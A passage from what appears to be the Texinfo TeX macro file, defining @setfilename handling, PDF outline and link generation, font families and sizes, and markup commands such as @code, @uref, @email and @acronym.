\linksfalse % @setfilename is done at the beginning of every texinfo file. % So open here the files we need to have open while reading the input. % This makes it possible to make a .fmt file for texinfo. \def\setfilename{% \fixbackslash % Turn off hack to swallow `\input texinfo'. \iflinks \tryauxfile % Open the new aux file. TeX will close it automatically at exit. \immediate\openout\auxfile=\jobname.aux \fi % \openindices needs to do some work in any case. \openindices \let\setfilename=\comment % Ignore extra @setfilename cmds. % % If texinfo.cnf is present on the system, read it. % Useful for site-wide @afourpaper, etc. \openin 1 texinfo.cnf \ifeof 1 \else \input texinfo.cnf \fi \closein 1 % \comment % Ignore the actual filename. } % Called from \setfilename. % \def\openindices{% \newindex{cp}% \newcodeindex{fn}% \newcodeindex{vr}% \newcodeindex{tp}% \newcodeindex{ky}% \newcodeindex{pg}% } % @bye. \outer\def\bye{\pagealignmacro\tracingstats=1\ptexend} \message{pdf,} % adobe `portable' document format \newcount\tempnum \newcount\lnkcount \newtoks\filename \newcount\filenamelength \newcount\pgn \newtoks\toksA \newtoks\toksB \newtoks\toksC \newtoks\toksD \newbox\boxA \newcount\countA \newif\ifpdf \newif\ifpdfmakepagedest % when pdftex is run in dvi mode, \pdfoutput is defined (so \pdfoutput=1 % can be set). So we test for \relax and 0 as well as \undefined, % borrowed from ifpdf.sty. \ifx\pdfoutput\undefined \else \ifx\pdfoutput\relax \else \ifcase\pdfoutput \else \pdftrue \fi \fi \fi % PDF uses PostScript string constants for the names of xref targets, to % for display in the outlines, and in other places. Thus, we have to % double any backslashes. Otherwise, a name like "\node" will be % interpreted as a newline (\n), followed by o, d, e. Not good. % http://www.ntg.nl/pipermail/ntg-pdftex/2004-July/000654.html % (and related messages, the final outcome is that it is up to the TeX % user to double the backslashes and otherwise make the string valid, so % that's we do). % double active backslashes. % {\catcode`\@=0 \catcode`\\=\active @gdef@activebackslash{@catcode`@\=@active @otherbackslash} @gdef@activebackslashdouble{% @catcode@backChar=@active @let\=@doublebackslash} } % To handle parens, we must adopt a different approach, since parens are % not active characters. hyperref.dtx (which has the same problem as % us) handles it with this amazing macro to replace tokens. I've % tinkered with it a little for texinfo, but it's definitely from there. % % #1 is the tokens to replace. % #2 is the replacement. % #3 is the control sequence with the string. % \def\HyPsdSubst#1#2#3{% \def\HyPsdReplace##1#1##2\END{% ##1% \ifx\\##2\\% \else #2% \HyReturnAfterFi{% \HyPsdReplace##2\END }% \fi }% \xdef#3{\expandafter\HyPsdReplace#3#1\END}% } \long\def\HyReturnAfterFi#1\fi{\fi#1} % #1 is a control sequence in which to do the replacements. \def\backslashparens#1{% \xdef#1{#1}% redefine it as its expansion; the definition is simply % \lastnode when called from \setref -> \pdfmkdest. \HyPsdSubst{(}{\backslashlparen}{#1}% \HyPsdSubst{)}{\backslashrparen}{#1}% } {\catcode\exclamChar = 0 \catcode\backChar = \other !gdef!backslashlparen{\(}% !gdef!backslashrparen{\)}% } \ifpdf \input pdfcolor \pdfcatalog{/PageMode /UseOutlines}% \def\dopdfimage#1#2#3{% \def\imagewidth{#2}% \def\imageheight{#3}% % without \immediate, pdftex seg faults when the same image is % included twice. (Version 3.14159-pre-1.0-unofficial-20010704.) \ifnum\pdftexversion < 14 \immediate\pdfimage \else \immediate\pdfximage \fi \ifx\empty\imagewidth\else width \imagewidth \fi \ifx\empty\imageheight\else height \imageheight \fi \ifnum\pdftexversion<13 #1.pdf% \else {#1.pdf}% \fi \ifnum\pdftexversion < 14 \else \pdfrefximage \pdflastximage \fi} \def\pdfmkdest#1{{% % We have to set dummies so commands such as @code, and characters % such as \, aren't expanded when present in a section title. \atdummies \activebackslashdouble \def\pdfdestname{#1}% \backslashparens\pdfdestname \pdfdest name{\pdfdestname} xyz% }}% % % used to mark target names; must be expandable. \def\pdfmkpgn#1{#1}% % \let\linkcolor = \Blue % was Cyan, but that seems light? \def\endlink{\Black\pdfendlink} % Adding outlines to PDF; macros for calculating structure of outlines % come from Petr Olsak \def\expnumber#1{\expandafter\ifx\csname#1\endcsname\relax 0% \else \csname#1\endcsname \fi} \def\advancenumber#1{\tempnum=\expnumber{#1}\relax \advance\tempnum by 1 \expandafter\xdef\csname#1\endcsname{\the\tempnum}} % % #1 is the section text, which is what will be displayed in the % outline by the pdf viewer. #2 is the pdf expression for the number % of subentries (or empty, for subsubsections). #3 is the node text, % which might be empty if this toc entry had no corresponding node. % #4 is the page number % \def\dopdfoutline#1#2#3#4{% % Generate a link to the node text if that exists; else, use the % page number. We could generate a destination for the section % text in the case where a section has no node, but it doesn't % seem worth the trouble, since most documents are normally structured. \def\pdfoutlinedest{#3}% \ifx\pdfoutlinedest\empty \def\pdfoutlinedest{#4}% \else % Doubled backslashes in the name. {\activebackslashdouble \xdef\pdfoutlinedest{#3}% \backslashparens\pdfoutlinedest}% \fi % % Also double the backslashes in the display string. {\activebackslashdouble \xdef\pdfoutlinetext{#1}% \backslashparens\pdfoutlinetext}% % \pdfoutline goto name{\pdfmkpgn{\pdfoutlinedest}}#2{\pdfoutlinetext}% } % \def\pdfmakeoutlines{% \begingroup % Thanh's hack / proper braces in bookmarks \edef\mylbrace{\iftrue \string{\else}\fi}\let\{=\mylbrace \edef\myrbrace{\iffalse{\else\string}\fi}\let\}=\myrbrace % % Read toc silently, to get counts of subentries for \pdfoutline. \def\numchapentry##1##2##3##4{% \def\thischapnum{##2}% \def\thissecnum{0}% \def\thissubsecnum{0}% }% \def\numsecentry##1##2##3##4{% \advancenumber{chap\thischapnum}% \def\thissecnum{##2}% \def\thissubsecnum{0}% }% \def\numsubsecentry##1##2##3##4{% \advancenumber{sec\thissecnum}% \def\thissubsecnum{##2}% }% \def\numsubsubsecentry##1##2##3##4{% \advancenumber{subsec\thissubsecnum}% }% \def\thischapnum{0}% \def\thissecnum{0}% \def\thissubsecnum{0}% % % use \def rather than \let here because we redefine \chapentry et % al. a second time, below. \def\appentry{\numchapentry}% \def\appsecentry{\numsecentry}% \def\appsubsecentry{\numsubsecentry}% \def\appsubsubsecentry{\numsubsubsecentry}% \def\unnchapentry{\numchapentry}% \def\unnsecentry{\numsecentry}% \def\unnsubsecentry{\numsubsecentry}% \def\unnsubsubsecentry{\numsubsubsecentry}% \readdatafile{toc}% % % Read toc second time, this time actually producing the outlines. % The `-' means take the \expnumber as the absolute number of % subentries, which we calculated on our first read of the .toc above. % % We use the node names as the destinations. \def\numchapentry##1##2##3##4{% \dopdfoutline{##1}{count-\expnumber{chap##2}}{##3}{##4}}% \def\numsecentry##1##2##3##4{% \dopdfoutline{##1}{count-\expnumber{sec##2}}{##3}{##4}}% \def\numsubsecentry##1##2##3##4{% \dopdfoutline{##1}{count-\expnumber{subsec##2}}{##3}{##4}}% \def\numsubsubsecentry##1##2##3##4{% count is always zero \dopdfoutline{##1}{}{##3}{##4}}% % % PDF outlines are displayed using system fonts, instead of % document fonts. Therefore we cannot use special characters, % since the encoding is unknown. For example, the eogonek from % Latin 2 (0xea) gets translated to a | character. Info from % Staszek Wawrykiewicz, 19 Jan 2004 04:09:24 +0100. % % xx to do this right, we have to translate 8-bit characters to % their "best" equivalent, based on the @documentencoding. Right % now, I guess we'll just let the pdf reader have its way. \indexnofonts \setupdatafile \activebackslash \input \jobname.toc \endgroup } % \def\skipspaces#1{\def\PP{#1}\def\D{|}% \ifx\PP\D\let\nextsp\relax \else\let\nextsp\skipspaces \ifx\p\space\else\addtokens{\filename}{\PP}% \advance\filenamelength by 1 \fi \fi \nextsp} \def\getfilename#1{\filenamelength=0\expandafter\skipspaces#1|\relax} \ifnum\pdftexversion < 14 \let \startlink \pdfannotlink \else \let \startlink \pdfstartlink \fi \def\pdfurl#1{% \begingroup \normalturnoffactive\def\@{@}% \makevalueexpandable \leavevmode\Red \startlink attr{/Border [0 0 0]}% user{/Subtype /Link /A << /S /URI /URI (#1) >>}% \endgroup} \def\pdfgettoks#1.{\setbox\boxA=\hbox{\toksA={#1.}\toksB={}\maketoks}} \def\addtokens#1#2{\edef\addtoks{\noexpand#1={\the#1#2}}\addtoks} \def\adn#1{\addtokens{\toksC}{#1}\global\countA=1\let\next=\maketoks} \def\poptoks#1#2|ENDTOKS|{\let\first=#1\toksD={#1}\toksA={#2}} \def\maketoks{% \expandafter\poptoks\the\toksA|ENDTOKS|\relax \ifx\first0\adn0 \else\ifx\first1\adn1 \else\ifx\first2\adn2 \else\ifx\first3\adn3 \else\ifx\first4\adn4 \else\ifx\first5\adn5 \else\ifx\first6\adn6 \else\ifx\first7\adn7 \else\ifx\first8\adn8 \else\ifx\first9\adn9 \else \ifnum0=\countA\else\makelink\fi \ifx\first.\let\next=\done\else \let\next=\maketoks \addtokens{\toksB}{\the\toksD} \ifx\first,\addtokens{\toksB}{\space}\fi \fi \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi \next} \def\makelink{\addtokens{\toksB}% {\noexpand\pdflink{\the\toksC}}\toksC={}\global\countA=0} \def\pdflink#1{% \startlink attr{/Border [0 0 0]} goto name{\pdfmkpgn{#1}} \linkcolor #1\endlink} \def\done{\edef\st{\global\noexpand\toksA={\the\toksB}}\st} \else \let\pdfmkdest = \gobble \let\pdfurl = \gobble \let\endlink = \relax \let\linkcolor = \relax \let\pdfmakeoutlines = \relax \fi % \ifx\pdfoutput \message{fonts,} % Change the current font style to #1, remembering it in \curfontstyle. % For now, we do not accumulate font styles: @b{@i{foo}} prints foo in % italics, not bold italics. % \def\setfontstyle#1{% \def\curfontstyle{#1}% not as a control sequence, because we are \edef'd. \csname ten#1\endcsname % change the current font } % Select #1 fonts with the current style. % \def\selectfonts#1{\csname #1fonts\endcsname \csname\curfontstyle\endcsname} \def\rm{\fam=0 \setfontstyle{rm}} \def\it{\fam=\itfam \setfontstyle{it}} \def\sl{\fam=\slfam \setfontstyle{sl}} \def\bf{\fam=\bffam \setfontstyle{bf}}\def\bfstylename{bf} \def\tt{\fam=\ttfam \setfontstyle{tt}} % Texinfo sort of supports the sans serif font style, which plain TeX does not. % So we set up a \sf. \newfam\sffam \def\sf{\fam=\sffam \setfontstyle{sf}} \let\li = \sf % Sometimes we call it \li, not \sf. % We don't need math for this font style. \def\ttsl{\setfontstyle{ttsl}} % Default leading. \newdimen\textleading \textleading = 13.2pt % Set the baselineskip to #1, and the lineskip and strut size % correspondingly. There is no deep meaning behind these magic numbers % used as factors; they just match (closely enough) what Knuth defined. % \def\lineskipfactor{.08333} \def\strutheightpercent{.70833} \def\strutdepthpercent {.29167} % \def\setleading#1{% \normalbaselineskip = #1\relax \normallineskip = \lineskipfactor\normalbaselineskip \normalbaselines \setbox\strutbox =\hbox{% \vrule width0pt height\strutheightpercent\baselineskip depth \strutdepthpercent \baselineskip }% } % Set the font macro #1 to the font named #2, adding on the % specified font prefix (normally `cm'). % #3 is the font's design size, #4 is a scale factor \def\setfont#1#2#3#4{\font#1=\fontprefix#2#3 scaled #4} % Use cm as the default font prefix. % To specify the font prefix, you must define \fontprefix % before you read in texinfo.tex. \ifx\fontprefix\undefined \def\fontprefix{cm} \fi % Support font families that don't use the same naming scheme as CM. \def\rmshape{r} \def\rmbshape{bx} %where the normal face is bold \def\bfshape{b} \def\bxshape{bx} \def\ttshape{tt} \def\ttbshape{tt} \def\ttslshape{sltt} \def\itshape{ti} \def\itbshape{bxti} \def\slshape{sl} \def\slbshape{bxsl} \def\sfshape{ss} \def\sfbshape{ss} \def\scshape{csc} \def\scbshape{csc} % Text fonts (11.2pt, magstep1). \def\textnominalsize{11pt} \edef\mainmagstep{\magstephalf} \setfont\textrm\rmshape{10}{\mainmagstep} \setfont\texttt\ttshape{10}{\mainmagstep} \setfont\textbf\bfshape{10}{\mainmagstep} \setfont\textit\itshape{10}{\mainmagstep} \setfont\textsl\slshape{10}{\mainmagstep} \setfont\textsf\sfshape{10}{\mainmagstep} \setfont\textsc\scshape{10}{\mainmagstep} \setfont\textttsl\ttslshape{10}{\mainmagstep} \font\texti=cmmi10 scaled \mainmagstep \font\textsy=cmsy10 scaled \mainmagstep % A few fonts for @defun names and args. \setfont\defbf\bfshape{10}{\magstep1} \setfont\deftt\ttshape{10}{\magstep1} \setfont\defttsl\ttslshape{10}{\magstep1} \def\df{\let\tentt=\deftt \let\tenbf = \defbf \let\tenttsl=\defttsl \bf} % Fonts for indices, footnotes, small examples (9pt). \def\smallnominalsize{9pt} \setfont\smallrm\rmshape{9}{1000} \setfont\smalltt\ttshape{9}{1000} \setfont\smallbf\bfshape{10}{900} \setfont\smallit\itshape{9}{1000} \setfont\smallsl\slshape{9}{1000} \setfont\smallsf\sfshape{9}{1000} \setfont\smallsc\scshape{10}{900} \setfont\smallttsl\ttslshape{10}{900} \font\smalli=cmmi9 \font\smallsy=cmsy9 % Fonts for small examples (8pt). \def\smallernominalsize{8pt} \setfont\smallerrm\rmshape{8}{1000} \setfont\smallertt\ttshape{8}{1000} \setfont\smallerbf\bfshape{10}{800} \setfont\smallerit\itshape{8}{1000} \setfont\smallersl\slshape{8}{1000} \setfont\smallersf\sfshape{8}{1000} \setfont\smallersc\scshape{10}{800} \setfont\smallerttsl\ttslshape{10}{800} \font\smalleri=cmmi8 \font\smallersy=cmsy8 % Fonts for title page (20.4pt): \def\titlenominalsize{20pt} \setfont\titlerm\rmbshape{12}{\magstep3} \setfont\titleit\itbshape{10}{\magstep4} \setfont\titlesl\slbshape{10}{\magstep4} \setfont\titlett\ttbshape{12}{\magstep3} \setfont\titlettsl\ttslshape{10}{\magstep4} \setfont\titlesf\sfbshape{17}{\magstep1} \let\titlebf=\titlerm \setfont\titlesc\scbshape{10}{\magstep4} \font\titlei=cmmi12 scaled \magstep3 \font\titlesy=cmsy10 scaled \magstep4 \def\authorrm{\secrm} \def\authortt{\sectt} % Chapter (and unnumbered) fonts (17.28pt). \def\chapnominalsize{17pt} \setfont\chaprm\rmbshape{12}{\magstep2} \setfont\chapit\itbshape{10}{\magstep3} \setfont\chapsl\slbshape{10}{\magstep3} \setfont\chaptt\ttbshape{12}{\magstep2} \setfont\chapttsl\ttslshape{10}{\magstep3} \setfont\chapsf\sfbshape{17}{1000} \let\chapbf=\chaprm \setfont\chapsc\scbshape{10}{\magstep3} \font\chapi=cmmi12 scaled \magstep2 \font\chapsy=cmsy10 scaled \magstep3 % Section fonts (14.4pt). \def\secnominalsize{14pt} \setfont\secrm\rmbshape{12}{\magstep1} \setfont\secit\itbshape{10}{\magstep2} \setfont\secsl\slbshape{10}{\magstep2} \setfont\sectt\ttbshape{12}{\magstep1} \setfont\secttsl\ttslshape{10}{\magstep2} \setfont\secsf\sfbshape{12}{\magstep1} \let\secbf\secrm \setfont\secsc\scbshape{10}{\magstep2} \font\seci=cmmi12 scaled \magstep1 \font\secsy=cmsy10 scaled \magstep2 % Subsection fonts (13.15pt). \def\ssecnominalsize{13pt} \setfont\ssecrm\rmbshape{12}{\magstephalf} \setfont\ssecit\itbshape{10}{1315} \setfont\ssecsl\slbshape{10}{1315} \setfont\ssectt\ttbshape{12}{\magstephalf} \setfont\ssecttsl\ttslshape{10}{1315} \setfont\ssecsf\sfbshape{12}{\magstephalf} \let\ssecbf\ssecrm \setfont\ssecsc\scbshape{10}{1315} \font\sseci=cmmi12 scaled \magstephalf \font\ssecsy=cmsy10 scaled 1315 % Reduced fonts for @acro in text (10pt). \def\reducednominalsize{10pt} \setfont\reducedrm\rmshape{10}{1000} \setfont\reducedtt\ttshape{10}{1000} \setfont\reducedbf\bfshape{10}{1000} \setfont\reducedit\itshape{10}{1000} \setfont\reducedsl\slshape{10}{1000} \setfont\reducedsf\sfshape{10}{1000} \setfont\reducedsc\scshape{10}{1000} \setfont\reducedttsl\ttslshape{10}{1000} \font\reducedi=cmmi10 \font\reducedsy=cmsy10 % In order for the font changes to affect most math symbols and letters, % we have to define the \textfont of the standard families. Since % texinfo doesn't allow for producing subscripts and superscripts except % in the main text, we don't bother to reset \scriptfont and % \scriptscriptfont (which would also require loading a lot more fonts). % \def\resetmathfonts{% \textfont0=\tenrm \textfont1=\teni \textfont2=\tensy \textfont\itfam=\tenit \textfont\slfam=\tensl \textfont\bffam=\tenbf \textfont\ttfam=\tentt \textfont\sffam=\tensf } % The font-changing commands redefine the meanings of \tenSTYLE, instead % of just \STYLE. We do this because \STYLE needs to also set the % current \fam for math mode. Our \STYLE (e.g., \rm) commands hardwire % \tenSTYLE to set the current font. % % Each font-changing command also sets the names \lsize (one size lower) % and \lllsize (three sizes lower). These relative commands are used in % the LaTeX logo and acronyms. % % This all needs generalizing, badly. % \def\textfonts{% \let\tenrm=\textrm \let\tenit=\textit \let\tensl=\textsl \let\tenbf=\textbf \let\tentt=\texttt \let\smallcaps=\textsc \let\tensf=\textsf \let\teni=\texti \let\tensy=\textsy \let\tenttsl=\textttsl \def\curfontsize{text}% \def\lsize{reduced}\def\lllsize{smaller}% \resetmathfonts \setleading{\textleading}} \def\titlefonts{% \let\tenrm=\titlerm \let\tenit=\titleit \let\tensl=\titlesl \let\tenbf=\titlebf \let\tentt=\titlett \let\smallcaps=\titlesc \let\tensf=\titlesf \let\teni=\titlei \let\tensy=\titlesy \let\tenttsl=\titlettsl \def\curfontsize{title}% \def\lsize{chap}\def\lllsize{subsec}% \resetmathfonts \setleading{25pt}} \def\titlefont#1{{\titlefonts\rm #1}} \def\chapfonts{% \let\tenrm=\chaprm \let\tenit=\chapit \let\tensl=\chapsl \let\tenbf=\chapbf \let\tentt=\chaptt \let\smallcaps=\chapsc \let\tensf=\chapsf \let\teni=\chapi \let\tensy=\chapsy \let\tenttsl=\chapttsl \def\curfontsize{chap}% \def\lsize{sec}\def\lllsize{text}% \resetmathfonts \setleading{19pt}} \def\secfonts{% \let\tenrm=\secrm \let\tenit=\secit \let\tensl=\secsl \let\tenbf=\secbf \let\tentt=\sectt \let\smallcaps=\secsc \let\tensf=\secsf \let\teni=\seci \let\tensy=\secsy \let\tenttsl=\secttsl \def\curfontsize{sec}% \def\lsize{subsec}\def\lllsize{reduced}% \resetmathfonts \setleading{16pt}} \def\subsecfonts{% \let\tenrm=\ssecrm \let\tenit=\ssecit \let\tensl=\ssecsl \let\tenbf=\ssecbf \let\tentt=\ssectt \let\smallcaps=\ssecsc \let\tensf=\ssecsf \let\teni=\sseci \let\tensy=\ssecsy \let\tenttsl=\ssecttsl \def\curfontsize{ssec}% \def\lsize{text}\def\lllsize{small}% \resetmathfonts \setleading{15pt}} \let\subsubsecfonts = \subsecfonts \def\reducedfonts{% \let\tenrm=\reducedrm \let\tenit=\reducedit \let\tensl=\reducedsl \let\tenbf=\reducedbf \let\tentt=\reducedtt \let\reducedcaps=\reducedsc \let\tensf=\reducedsf \let\teni=\reducedi \let\tensy=\reducedsy \let\tenttsl=\reducedttsl \def\curfontsize{reduced}% \def\lsize{small}\def\lllsize{smaller}% \resetmathfonts \setleading{10.5pt}} \def\smallfonts{% \let\tenrm=\smallrm \let\tenit=\smallit \let\tensl=\smallsl \let\tenbf=\smallbf \let\tentt=\smalltt \let\smallcaps=\smallsc \let\tensf=\smallsf \let\teni=\smalli \let\tensy=\smallsy \let\tenttsl=\smallttsl \def\curfontsize{small}% \def\lsize{smaller}\def\lllsize{smaller}% \resetmathfonts \setleading{10.5pt}} \def\smallerfonts{% \let\tenrm=\smallerrm \let\tenit=\smallerit \let\tensl=\smallersl \let\tenbf=\smallerbf \let\tentt=\smallertt \let\smallcaps=\smallersc \let\tensf=\smallersf \let\teni=\smalleri \let\tensy=\smallersy \let\tenttsl=\smallerttsl \def\curfontsize{smaller}% \def\lsize{smaller}\def\lllsize{smaller}% \resetmathfonts \setleading{9.5pt}} % Set the fonts to use with the @small... environments. \let\smallexamplefonts = \smallfonts % About \smallexamplefonts. If we use \smallfonts (9pt), @smallexample % can fit this many characters: % 8.5x11=86 smallbook=72 a4=90 a5=69 % If we use \scriptfonts (8pt), then we can fit this many characters: % 8.5x11=90+ smallbook=80 a4=90+ a5=77 % For me, subjectively, the few extra characters that fit aren't worth % the additional smallness of 8pt. So I'm making the default 9pt. % % By the way, for comparison, here's what fits with @example (10pt): % 8.5x11=71 smallbook=60 a4=75 a5=58 % % I wish the USA used A4 paper. % --karl, 24jan03. % Set up the default fonts, so we can use them for creating boxes. % \textfonts \rm % Define these so they can be easily changed for other fonts. \def\angleleft{$\langle$} \def\angleright{$\rangle$} % Count depth in font-changes, for error checks \newcount\fontdepth \fontdepth=0 % Fonts for short table of contents. \setfont\shortcontrm\rmshape{12}{1000} \setfont\shortcontbf\bfshape{10}{\magstep1} % no cmb12 \setfont\shortcontsl\slshape{12}{1000} \setfont\shortconttt\ttshape{12}{1000} %% Add scribe-like font environments, plus @l for inline lisp (usually sans %% serif) and @ii for TeX italic % \smartitalic{ARG} outputs arg in italics, followed by an italic correction % unless the following character is such as not to need one. \def\smartitalicx{\ifx\next,\else\ifx\next-\else\ifx\next.\else \ptexslash\fi\fi\fi} \def\smartslanted#1{{\ifusingtt\ttsl\sl #1}\futurelet\next\smartitalicx} \def\smartitalic#1{{\ifusingtt\ttsl\it #1}\futurelet\next\smartitalicx} % like \smartslanted except unconditionally uses \ttsl. % @var is set to this for defun arguments. \def\ttslanted#1{{\ttsl #1}\futurelet\next\smartitalicx} % like \smartslanted except unconditionally use \sl. We never want % ttsl for book titles, do we? \def\cite#1{{\sl #1}\futurelet\next\smartitalicx} \let\i=\smartitalic \let\slanted=\smartslanted \let\var=\smartslanted \let\dfn=\smartslanted \let\emph=\smartitalic % @b, explicit bold. \def\b#1{{\bf #1}} \let\strong=\b % @sansserif, explicit sans. \def\sansserif#1{{\sf #1}} % We can't just use \exhyphenpenalty, because that only has effect at % the end of a paragraph. Restore normal hyphenation at the end of the % group within which \nohyphenation is presumably called. % \def\nohyphenation{\hyphenchar\font = -1 \aftergroup\restorehyphenation} \def\restorehyphenation{\hyphenchar\font = `- } % Set sfcode to normal for the chars that usually have another value. % Can't use plain's \frenchspacing because it uses the `\x notation, and % sometimes \x has an active definition that messes things up. % \catcode`@=11 \def\plainfrenchspacing{% \sfcode\dotChar =\@m \sfcode\questChar=\@m \sfcode\exclamChar=\@m \sfcode\colonChar=\@m \sfcode\semiChar =\@m \sfcode\commaChar =\@m \def\endofsentencespacefactor{1000}% for @. and friends } \def\plainnonfrenchspacing{% \sfcode`\.3000\sfcode`\?3000\sfcode`\!3000 \sfcode`\:2000\sfcode`\;1500\sfcode`\,1250 \def\endofsentencespacefactor{3000}% for @. and friends } \catcode`@=\other \def\endofsentencespacefactor{3000}% default \def\t#1{% {\tt \rawbackslash \plainfrenchspacing #1}% \null } \def\samp#1{`\tclose{#1}'\null} \setfont\keyrm\rmshape{8}{1000} \font\keysy=cmsy9 \def\key#1{{\keyrm\textfont2=\keysy \leavevmode\hbox{% \raise0.4pt\hbox{\angleleft}\kern-.08em\vtop{% \vbox{\hrule\kern-0.4pt \hbox{\raise0.4pt\hbox{\vphantom{\angleleft}}#1}}% \kern-0.4pt\hrule}% \kern-.06em\raise0.4pt\hbox{\angleright}}}} % The old definition, with no lozenge: %\def\key #1{{\ttsl \nohyphenation \uppercase{#1}}\null} \def\ctrl #1{{\tt \rawbackslash \hat}#1} % @file, @option are the same as @samp. \let\file=\samp \let\option=\samp % @code is a modification of @t, % which makes spaces the same size as normal in the surrounding text. \def\tclose#1{% {% % Change normal interword space to be same as for the current font. \spaceskip = \fontdimen2\font % % Switch to typewriter. \tt % % But `\ ' produces the large typewriter interword space. \def\ {{\spaceskip = 0pt{} }}% % % Turn off hyphenation. \nohyphenation % \rawbackslash \plainfrenchspacing #1% }% \null } % We *must* turn on hyphenation at `-' and `_' in @code. % Otherwise, it is too hard to avoid overfull hboxes % in the Emacs manual, the Library manual, etc. % Unfortunately, TeX uses one parameter (\hyphenchar) to control % both hyphenation at - and hyphenation within words. % We must therefore turn them both off (\tclose does that) % and arrange explicitly to hyphenate at a dash. % -- rms. { \catcode`\-=\active \catcode`\_=\active % \global\def\code{\begingroup \catcode`\-=\active \catcode`\_=\active \ifallowcodebreaks \let-\codedash \let_\codeunder \else \let-\realdash \let_\realunder \fi \codex } } \def\realdash{-} \def\codedash{-\discretionary{}{}{}} \def\codeunder{% % this is all so @math{@code{var_name}+1} can work. In math mode, _ % is "active" (mathcode"8000) and \normalunderscore (or \char95, etc.) % will therefore expand the active definition of _, which is us % (inside @code that is), therefore an endless loop. \ifusingtt{\ifmmode \mathchar"075F % class 0=ordinary, family 7=ttfam, pos 0x5F=_. \else\normalunderscore \fi \discretionary{}{}{}}% {\_}% } \def\codex #1{\tclose{#1}\endgroup} % An additional complication: the above will allow breaks after, e.g., % each of the four underscores in __typeof__. This is undesirable in % some manuals, especially if they don't have long identifiers in % general. @allowcodebreaks provides a way to control this. % \newif\ifallowcodebreaks \allowcodebreakstrue \def\keywordtrue{true} \def\keywordfalse{false} \parseargdef\allowcodebreaks{% \def\txiarg{#1}% \ifx\txiarg\keywordtrue \allowcodebreakstrue \else\ifx\txiarg\keywordfalse \allowcodebreaksfalse \else \errhelp = \EMsimple \errmessage{Unknown @allowcodebreaks option `\txiarg'}% \fi\fi } % @kbd is like @code, except that if the argument is just one @key command, % then @kbd has no effect. % @kbdinputstyle -- arg is `distinct' (@kbd uses slanted tty font always), % `example' (@kbd uses ttsl only inside of @example and friends), % or `code' (@kbd uses normal tty font always). \parseargdef\kbdinputstyle{% \def\txiarg{#1}% \ifx\txiarg\worddistinct \gdef\kbdexamplefont{\ttsl}\gdef\kbdfont{\ttsl}% \else\ifx\txiarg\wordexample \gdef\kbdexamplefont{\ttsl}\gdef\kbdfont{\tt}% \else\ifx\txiarg\wordcode \gdef\kbdexamplefont{\tt}\gdef\kbdfont{\tt}% \else \errhelp = \EMsimple \errmessage{Unknown @kbdinputstyle option `\txiarg'}% \fi\fi\fi } \def\worddistinct{distinct} \def\wordexample{example} \def\wordcode{code} % Default is `distinct.' \kbdinputstyle distinct \def\xkey{\key} \def\kbdfoo#1#2#3\par{\def\one{#1}\def\three{#3}\def\threex{??}% \ifx\one\xkey\ifx\threex\three \key{#2}% \else{\tclose{\kbdfont\look}}\fi \else{\tclose{\kbdfont\look}}\fi} % For @indicateurl, @env, @command quotes seem unnecessary, so use \code. \let\indicateurl=\code \let\env=\code \let\command=\code % @uref (abbreviation for `urlref') takes an optional (comma-separated) % second argument specifying the text to display and an optional third % arg as text to display instead of (rather than in addition to) the url % itself. First (mandatory) arg is the url. Perhaps eventually put in % a hypertex \special here. % \def\uref#1{\douref #1,,,\finish} \def\douref#1,#2,#3,#4\finish{\begingroup \unsepspaces \pdfurl{#1}% \setbox0 = \hbox{\ignorespaces #3}% \ifdim\wd0 > 0pt \unhbox0 % third arg given, show only that \else \setbox0 = \hbox{\ignorespaces #2}% \ifdim\wd0 > 0pt \ifpdf \unhbox0 % PDF: 2nd arg given, show only it \else \unhbox0\ (\code{#1})% DVI: 2nd arg given, show both it and url \fi \else \code{#1}% only url given, so show it \fi \fi \endlink \endgroup} % @url synonym for @uref, since that's how everyone uses it. % \let\url=\uref % rms does not like angle brackets --karl, 17may97. % So now @email is just like @uref, unless we are pdf. % %\def\email#1{\angleleft{\tt #1}\angleright} \ifpdf \def\email#1{\doemail#1,,\finish} \def\doemail#1,#2,#3\finish{\begingroup \unsepspaces \pdfurl{mailto:#1}% \setbox0 = \hbox{\ignorespaces #2}% \ifdim\wd0>0pt\unhbox0\else\code{#1}\fi \endlink \endgroup} \else \let\email=\uref \fi % Check if we are currently using a typewriter font. Since all the % Computer Modern typewriter fonts have zero interword stretch (and % shrink), and it is reasonable to expect all typewriter fonts to have % this property, we can check that font parameter. % \def\ifmonospace{\ifdim\fontdimen3\font=0pt } % Typeset a dimension, e.g., `in' or `pt'. The only reason for the % argument is to make the input look right: @dmn{pt} instead of @dmn{}pt. % \def\dmn#1{\thinspace #1} \def\kbd#1{\def\look{#1}\expandafter\kbdfoo\look??\par} % @l was never documented to mean ``switch to the Lisp font'', % and it is not used as such in any manual I can find. We need it for % Polish suppressed-l. --karl, 22sep96. %\def\l#1{{\li #1}\null} % Explicit font changes: @r, @sc, undocumented @ii. \def\r#1{{\rm #1}} % roman font \def\sc#1{{\smallcaps#1}} % smallcaps font \def\ii#1{{\it #1}} % italic font % @acronym for "FBI", "NATO", and the like. % We print this one point size smaller, since it's intended for % all-uppercase. % \def\acronym#1{\doacronym #1,,\finish} \def\doacronym#1,#2,#3\finish{% {\selectfonts\lsize #1}% \def\temp{#2}% \ifx\temp\empty \else \space ({\unsepspaces \ignorespaces \temp \unskip})% \fi } % @abbr for "Comput. J." and the like. % No font change, but don't do end-of-sentence spacing. % \def\abbr#1{\doabbr #1,,\finish} \def\doabbr#1,#2,#3\finish{% {\plainfrenchspacing #1}% \def\temp{#2}% \ifx\temp\empty \else \space ({\unsepspaces \ignorespaces \temp \unskip})% \fi } % @pounds{} is a sterling sign, which Knuth put in the CM italic font. % \def\pounds{{\it\$}} % @euro{} comes from a separate font, depending on the current style. % We use the free feym* fonts from the eurosym package by Henrik % Theiling, which support regular, slanted, bold and bold slanted (and % "outlined" (blackboard board, sort of) versions, which we don't need). % It is available from http://www.ctan.org/tex-archive/fonts/eurosym. % % Although only regular is the truly official Euro symbol, we ignore % that. The Euro is designed to be slightly taller than the regular % font height. % % feymr - regular % feymo - slanted % feybr - bold % feybo - bold slanted % % There is no good (free) typewriter version, to my knowledge. % A feymr10 euro is ~7.3pt wide, while a normal cmtt10 char is ~5.25pt wide. % Hmm. % % Also doesn't work in math. Do we need to do math with euro symbols? % Hope not. % % \def\euro{{\eurofont e}} \def\eurofont{% % We set the font at each command, rather than predefining it in % \textfonts and the other font-switching commands, so that % installations which never need the symbol don't have to have the % font installed. % % There is only one designed size (nominal 10pt), so we always scale % that to the current nominal size. % % By the way, simply using "at 1em" works for cmr10 and the like, but % does not work for cmbx10 and other extended/shrunken fonts. % 